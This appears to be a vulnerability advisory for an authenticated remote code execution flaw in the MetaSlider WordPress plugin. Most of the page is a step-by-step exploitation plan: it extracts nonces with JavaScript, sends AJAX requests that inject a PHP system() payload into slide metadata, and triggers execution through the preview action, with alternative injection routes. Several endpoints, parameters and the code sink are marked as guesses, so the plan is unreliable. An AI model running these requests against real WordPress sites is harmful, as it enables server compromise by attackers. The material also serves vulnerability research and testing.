Slider, Gallery, and Carousel by MetaSlider – Image Slider, Video Slider <= 3.106.0 - Authenticated (Editor+) Remote Code Execution
Description
The Slider, Gallery, and Carousel by MetaSlider – Image Slider, Video Slider plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 3.106.0. This makes it possible for authenticated attackers, with Editor-level access and above, to execute code on the server.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v3.107.0
Source Code
WordPress.org SVN# Research Plan: CVE-2026-39465 - MetaSlider Authenticated RCE ## 1. Vulnerability Summary **CVE-2026-39465** is a Remote Code Execution (RCE) vulnerability in the **MetaSlider** plugin (<= 3.106.0) affecting the `ml-slider` component. The vulnerability exists due to improper sanitization and contr…
Show full research plan
Research Plan: CVE-2026-39465 - MetaSlider Authenticated RCE
1. Vulnerability Summary
CVE-2026-39465 is a Remote Code Execution (RCE) vulnerability in the MetaSlider plugin (<= 3.106.0) affecting the ml-slider component. The vulnerability exists due to improper sanitization and control of slide metadata, specifically the "markup" or "template" fields used in certain slide types like Post Feed or External slides. An attacker with Editor-level permissions can inject PHP code into these metadata fields. When the slideshow is rendered (e.g., in a preview or on a public page), the plugin processes this markup on the server, leading to code execution.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php(AJAX) or the REST API/wp-json/metaslider/v1/. - Action:
ms_save_slides(inferred for saving slide meta) orcreate_image_slide. - Vulnerable Parameter:
slides[ID][meta][ml-slider_markup]or similar metadata keys associated with slide rendering. - Authentication: Authenticated, Editor or higher.
- Preconditions: The attacker must be able to create or edit a slideshow.
3. Code Flow
- Entry Point (Client): The
Slideshow.vuecomponent callsthis.saveSlides(slides)which sends an AJAX/REST request to save slide data. - Entry Point (Server): The server-side handler for slide saving (e.g.,
MetaSlider_Slide->save_data()) receives themetaarray. - Data Persistence: The malicious payload
<?php system('id'); ?>is saved into thewp_postmetatable for the specific slide (post typeml-slide). - Execution Trigger: When an Editor clicks "Preview" (
action=metaslider_preview) or a page with the slider is viewed, theMetaSlider_Slideshow->render()method is called. - Sink: For Post Feed slides, the plugin retrieves the
ml-slider_markupmeta value and processes it. If the rendering engine useseval()or an insecure template implementation, the PHP code is executed.
4. Nonce Acquisition Strategy
The admin/assets/dist/js/admin.js file indicates several nonces are localized into the metaslider global object.
Extraction Steps:
- Login as an Editor.
- Navigate to the MetaSlider dashboard:
wp-admin/admin.php?page=metaslider. - Execute JavaScript to extract the nonces:
// Primary nonces for slide operations const nonces = { create: window.metaslider?.create_slide_nonce, update: window.metaslider?.update_slide_image_nonce, duplicate: window.metaslider?.duplicate_slide_nonce, save: window.metaslider?.save_nonce // Inferred key for saving settings/slides }; return nonces; - If the specific
save_nonceis missing, thecreate_slide_nonceis often used for broad slide management in this plugin.
5. Exploitation Strategy
Step 1: Create a Base Slideshow
Create a slideshow and an initial image slide to obtain necessary IDs.
- Request:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Body (URL-encoded):
action:create_image_slideslider_id: `` (empty for new slider)selection[]:[ATTACHMENT_ID](Must have an image ID from Media Library)_wpnonce:[create_slide_nonce]
- URL:
Step 2: Extract IDs
The response will contain the slider_id and the slide_id.
- Expected Response:
{"success": true, "data": [{"slide_id": 123, "html": "..."}]}
Step 3: Inject RCE Payload
Modify the slide to a "Post Feed" type and inject the PHP payload into the markup.
- Request:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Body (URL-encoded):
action:ms_save_slides(ormetaslider_save_slides)_wpnonce:[save_nonce]slides[123][meta][ml-slider_type]:post_feedslides[123][meta][ml-slider_markup]:<?php system('id'); die; ?>
- URL:
Step 4: Trigger Execution
Request the preview of the slider to trigger the server-side rendering of the malicious markup.
- Request:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php?action=metaslider_preview&id=[SLIDER_ID] - Method:
GET
- URL:
6. Test Data Setup
- Create Editor User:
wp user create attacker attacker@example.com --role=editor --user_pass=password - Upload Image:
wp media import /path/to/test-image.jpg(needed forcreate_image_slide). - Identify Attachment ID: Note the ID of the uploaded image (e.g.,
5).
7. Expected Results
A successful exploit will result in the GET request to metaslider_preview returning the output of the id command (e.g., uid=33(www-data) ...).
8. Verification Steps
- Check Meta: Verify the payload was saved:
wp post meta get [SLIDE_ID] ml-slider_markup - Process List: Check for any suspicious processes spawned during the preview request.
9. Alternative Approaches
If ms_save_slides fails:
- REST API Path: Use
POST /wp-json/metaslider/v1/slides/savewith the same payload structure. - External Slide Type: Try
ml-slider_type=externaland look for acontentorurlfield that might be evaluated. - Slider Settings: Target the
settings[html]orsettings[custom_css]fields inaction=ms_save_settings. MetaSlider sometimes processes CSS through a server-side parser that might be vulnerable.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.